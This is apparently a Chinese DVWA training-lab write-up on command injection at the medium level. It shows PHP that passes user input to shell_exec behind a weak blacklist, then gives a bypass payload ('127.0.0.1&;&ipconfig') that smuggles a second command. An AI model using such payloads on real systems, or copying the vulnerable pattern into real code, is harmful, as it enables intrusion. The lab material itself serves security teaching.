Command Injection(Medium)
代码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除。把”&&” 、”;”替换为空字符。
$substitutions = array(
'&&' => '',
';' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
漏洞利用
需要注意
表达式 | 描述 |
---|---|
1&&2 | 1执行成功,2才会执行 |
1&2 | 2必执行 |
因此此处可以采用
127.0.0.1&;&ipconfig绕过黑名单限制